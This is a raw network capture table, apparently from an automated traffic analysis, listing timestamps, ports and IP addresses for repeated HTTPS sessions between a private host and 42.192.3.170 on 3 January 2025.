Jan 3, 2025 02:53:47.288036108 CET	50061	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:47.288079977 CET	443	50061	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:47.288141966 CET	50061	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:47.299072981 CET	50061	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:47.299086094 CET	443	50061	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:48.508678913 CET	443	50061	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:48.508833885 CET	50061	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:48.509326935 CET	50061	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:48.509337902 CET	443	50061	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:48.510888100 CET	50061	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:48.510893106 CET	443	50061	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:49.065687895 CET	443	50061	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:49.065754890 CET	50061	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:49.065773010 CET	443	50061	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:49.065900087 CET	50061	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:49.068741083 CET	50061	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:49.068759918 CET	443	50061	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:49.068778992 CET	50061	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:49.068839073 CET	50061	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:49.180133104 CET	50062	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:49.180193901 CET	443	50062	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:49.180259943 CET	50062	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:49.180592060 CET	50062	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:49.180607080 CET	443	50062	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:50.354922056 CET	443	50062	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:50.361140013 CET	50062	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:50.475450993 CET	50062	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:50.475476027 CET	443	50062	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:50.486637115 CET	50062	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:50.486644030 CET	443	50062	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:50.724625111 CET	50062	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:50.852170944 CET	50063	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:50.852222919 CET	443	50063	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:50.852289915 CET	50063	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:50.852575064 CET	50063	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:50.852588892 CET	443	50063	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:54.865123034 CET	50063	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:55.023817062 CET	50064	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:55.023861885 CET	443	50064	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:55.023921013 CET	50064	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:55.024281979 CET	50064	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:55.024307013 CET	443	50064	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:56.243635893 CET	443	50064	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:56.243839025 CET	50064	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:56.257507086 CET	50064	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:56.257528067 CET	443	50064	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:56.257958889 CET	443	50064	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:56.258058071 CET	50064	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:56.258430004 CET	50064	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:56.299343109 CET	443	50064	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:56.804083109 CET	443	50064	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:56.804137945 CET	443	50064	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:56.804143906 CET	50064	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:56.804182053 CET	50064	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:56.812699080 CET	50064	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:56.812715054 CET	443	50064	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:56.812727928 CET	50064	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:56.812758923 CET	50064	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:56.929743052 CET	50065	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:56.929780960 CET	443	50065	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:56.929842949 CET	50065	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:56.930056095 CET	50065	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:56.930068970 CET	443	50065	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:58.088165045 CET	443	50065	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:58.090991974 CET	50065	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:58.091604948 CET	50065	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:58.091614008 CET	443	50065	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:58.094906092 CET	50065	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:58.094911098 CET	443	50065	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:58.618912935 CET	443	50065	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:58.618971109 CET	50065	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:58.618977070 CET	443	50065	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:58.619060040 CET	50065	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:58.619263887 CET	50065	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:58.619278908 CET	443	50065	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:58.775778055 CET	50066	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:58.775834084 CET	443	50066	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:58.775890112 CET	50066	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:58.776165009 CET	50066	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:58.776182890 CET	443	50066	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:59.955770969 CET	443	50066	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:59.955837011 CET	50066	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:59.956279039 CET	50066	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:59.956294060 CET	443	50066	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:59.957607985 CET	50066	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:59.957612991 CET	443	50066	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:00.505203962 CET	443	50066	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:00.505264044 CET	443	50066	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:00.505273104 CET	50066	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:00.505304098 CET	50066	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:00.505669117 CET	50066	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:00.505688906 CET	443	50066	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:00.505732059 CET	50066	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:00.505757093 CET	50066	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:00.649350882 CET	50067	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:00.649386883 CET	443	50067	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:00.649466991 CET	50067	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:00.650274992 CET	50067	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:00.650286913 CET	443	50067	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:01.839909077 CET	443	50067	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:01.841278076 CET	50067	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:01.889750004 CET	50067	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:01.889763117 CET	443	50067	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:01.891182899 CET	50067	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:01.891187906 CET	443	50067	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:02.375370026 CET	443	50067	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:02.375436068 CET	443	50067	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:02.375550032 CET	50067	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:02.399238110 CET	50067	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:02.399269104 CET	443	50067	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:02.399298906 CET	50067	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:02.399354935 CET	50067	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:02.510910988 CET	50068	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:02.510950089 CET	443	50068	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:02.511090994 CET	50068	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:02.514906883 CET	50068	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:02.514921904 CET	443	50068	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:03.665793896 CET	443	50068	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:03.669404984 CET	50068	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:03.669404984 CET	50068	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:03.669429064 CET	443	50068	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:03.673202991 CET	50068	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:03.673208952 CET	443	50068	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:04.199076891 CET	443	50068	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:04.199143887 CET	443	50068	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:04.199872017 CET	50068	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:04.199872017 CET	50068	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:04.199965000 CET	50068	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:04.414011955 CET	50069	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:04.414057016 CET	443	50069	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:04.417201042 CET	50069	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:04.417201042 CET	50069	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:04.417247057 CET	443	50069	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:05.659507990 CET	443	50069	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:05.659715891 CET	50069	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:05.660164118 CET	50069	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:05.660180092 CET	443	50069	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:05.661560059 CET	50069	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:05.661573887 CET	443	50069	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:06.236856937 CET	443	50069	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:06.236934900 CET	443	50069	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:06.237051964 CET	50069	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:06.237051964 CET	50069	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:06.237807989 CET	50069	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:06.237808943 CET	50069	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:06.237831116 CET	443	50069	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:06.239420891 CET	50069	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:06.586335897 CET	50070	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:06.586369038 CET	443	50070	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:06.586508989 CET	50070	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:06.586802006 CET	50070	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:06.586812973 CET	443	50070	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:07.744894981 CET	443	50070	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:07.745043039 CET	50070	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:07.746936083 CET	50070	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:07.746936083 CET	50070	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:07.746943951 CET	443	50070	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:07.746958971 CET	443	50070	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:08.278393984 CET	443	50070	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:08.278448105 CET	443	50070	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:08.279181957 CET	50070	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:08.279181957 CET	50070	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:08.279242039 CET	50070	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:08.571048021 CET	50071	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:08.571141958 CET	443	50071	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:08.571285009 CET	50071	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:08.571496964 CET	50071	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:08.571535110 CET	443	50071	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:09.748260975 CET	443	50071	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:09.748437881 CET	50071	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:09.748948097 CET	50071	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:09.748995066 CET	443	50071	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:09.750930071 CET	50071	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:09.750943899 CET	443	50071	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:10.286694050 CET	443	50071	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:10.286756039 CET	443	50071	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:10.291034937 CET	50071	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:10.291884899 CET	50071	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:10.291884899 CET	50071	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:10.291914940 CET	443	50071	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:10.294871092 CET	50071	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:10.554928064 CET	50072	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:10.554971933 CET	443	50072	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:10.559262037 CET	50072	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:10.559262037 CET	50072	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:10.559300900 CET	443	50072	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:11.776932955 CET	443	50072	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:11.777020931 CET	50072	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:11.777493954 CET	50072	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:11.777504921 CET	443	50072	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:11.780950069 CET	50072	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:11.780956030 CET	443	50072	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:12.337330103 CET	443	50072	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:12.337397099 CET	50072	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:12.337413073 CET	443	50072	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:12.337546110 CET	50072	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:12.337865114 CET	50072	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:12.337865114 CET	50072	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:12.337888956 CET	443	50072	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:12.338263988 CET	50072	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:12.507345915 CET	50073	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:12.507389069 CET	443	50073	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:12.507575989 CET	50073	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:12.507900000 CET	50073	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:12.507911921 CET	443	50073	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:13.731447935 CET	443	50073	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:13.735289097 CET	50073	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:13.753897905 CET	50073	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:13.753906012 CET	443	50073	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:13.763045073 CET	50073	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:13.763050079 CET	443	50073	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:14.294331074 CET	443	50073	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:14.294387102 CET	443	50073	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:14.294400930 CET	50073	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:14.294539928 CET	50073	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:14.294894934 CET	50073	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:14.294894934 CET	50073	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:14.294913054 CET	443	50073	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:14.295217991 CET	50073	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:14.538698912 CET	50074	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:14.538758039 CET	443	50074	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:14.539156914 CET	50074	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:14.542937994 CET	50074	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:14.542960882 CET	443	50074	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:15.740145922 CET	443	50074	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:15.743424892 CET	50074	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:15.743426085 CET	50074	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:15.743454933 CET	443	50074	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:15.745976925 CET	50074	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:15.745982885 CET	443	50074	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:16.293469906 CET	443	50074	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:16.293523073 CET	443	50074	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:16.293579102 CET	50074	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:16.294260979 CET	50074	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:16.294284105 CET	443	50074	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:16.294315100 CET	50074	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:16.294687986 CET	50074	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:16.986331940 CET	50075	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:16.986363888 CET	443	50075	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:16.986423016 CET	50075	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:16.986920118 CET	50075	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:16.986929893 CET	443	50075	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:18.133193970 CET	443	50075	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:18.133263111 CET	50075	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:18.133797884 CET	50075	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:18.133805037 CET	443	50075	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:18.135292053 CET	50075	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:18.135297060 CET	443	50075	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:18.673441887 CET	443	50075	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:18.673484087 CET	443	50075	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:18.673553944 CET	50075	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:18.673916101 CET	50075	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:18.673927069 CET	443	50075	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:18.673948050 CET	50075	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:18.673971891 CET	50075	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:18.806888103 CET	50076	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:18.806916952 CET	443	50076	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:18.806986094 CET	50076	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:18.807475090 CET	50076	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:18.807488918 CET	443	50076	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:20.003130913 CET	443	50076	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:20.003252029 CET	50076	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:20.003762960 CET	50076	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:20.003772974 CET	443	50076	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:20.005951881 CET	50076	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:20.005955935 CET	443	50076	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:20.554255962 CET	443	50076	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:20.554310083 CET	443	50076	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:20.554327011 CET	50076	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:20.554371119 CET	50076	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:20.554864883 CET	50076	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:20.554879904 CET	443	50076	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:20.554972887 CET	50076	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:20.555079937 CET	50076	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:20.695897102 CET	50077	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:20.695936918 CET	443	50077	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:20.695993900 CET	50077	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:20.696382999 CET	50077	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:20.696398020 CET	443	50077	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:21.878912926 CET	443	50077	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:21.879036903 CET	50077	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:21.879472017 CET	50077	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:21.879487991 CET	443	50077	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:21.880912066 CET	50077	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:21.880924940 CET	443	50077	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:22.428953886 CET	443	50077	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:22.429004908 CET	443	50077	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:22.429040909 CET	50077	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:22.429070950 CET	50077	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:22.431755066 CET	50077	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:22.431755066 CET	50077	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:22.431775093 CET	443	50077	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:22.431859016 CET	50077	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:22.741631985 CET	50078	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:22.741662025 CET	443	50078	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:22.741723061 CET	50078	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:22.745753050 CET	50078	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:22.745764971 CET	443	50078	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:23.926362991 CET	443	50078	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:23.927572966 CET	50078	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:23.927572966 CET	50078	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:23.927592993 CET	443	50078	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:23.930954933 CET	50078	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:23.930959940 CET	443	50078	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:24.478629112 CET	443	50078	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:24.478677034 CET	443	50078	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:24.478928089 CET	50078	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:24.479197979 CET	50078	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:24.479197979 CET	50078	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:24.479213953 CET	443	50078	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:24.481060982 CET	50078	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:24.648993015 CET	50079	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:24.649029970 CET	443	50079	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:24.649182081 CET	50079	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:24.649338961 CET	50079	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:24.649362087 CET	443	50079	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:25.831517935 CET	443	50079	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:25.831610918 CET	50079	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:25.833440065 CET	50079	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:25.833440065 CET	50079	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:25.833451033 CET	443	50079	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:25.833470106 CET	443	50079	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:26.381421089 CET	443	50079	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:26.381489992 CET	443	50079	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:26.381587982 CET	50079	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:26.381978989 CET	50079	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:26.382004976 CET	443	50079	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:26.382014036 CET	50079	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:26.382103920 CET	50079	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:26.510948896 CET	50080	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:26.511001110 CET	443	50080	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:26.511243105 CET	50080	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:26.511508942 CET	50080	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:26.511521101 CET	443	50080	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:27.698229074 CET	443	50080	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:27.701056004 CET	50080	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:27.702650070 CET	50080	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:27.702650070 CET	50080	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:27.702661037 CET	443	50080	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:27.702677011 CET	443	50080	42.192.3.170	192.168.2.4
